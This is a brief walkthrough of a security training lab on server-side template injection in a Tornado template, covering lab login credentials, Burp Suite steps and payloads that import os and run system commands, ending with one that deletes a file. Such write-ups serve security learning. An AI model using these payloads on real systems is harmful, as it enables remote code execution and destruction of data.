Lab: Basic server-side template injection (code context)

This lab is vulnerable to server-side template injection due to the way it unsafely uses a Tornado template. To solve the lab, review the Tornado documentation to discover how to execute arbitrary code, then delete the morale.txt file from Carlos's home directory.

You can log in to your own account using the following credentials: wiener:peter

Take a closer look at the "preferred name" functionality.

Steps

• Open Burp Suite and visit the target website

• Login using wiener:peter as username and password

• Change the Preferred name to First name and click on Submit

• Send the request to repeater

• In the Repeater tab change the blog-post-author-display parameter to user.first_name}}{%25+import+os+%25}{{os.system('whoami')

• Use the below payloads to solve the lab

user.first_name}}{%25+import+os+%25}{{os.system('ls')

user.first_name}}{%25+import+os+%25}{{os.system('rm morale.txt')

• Congrats! You have solved the lab.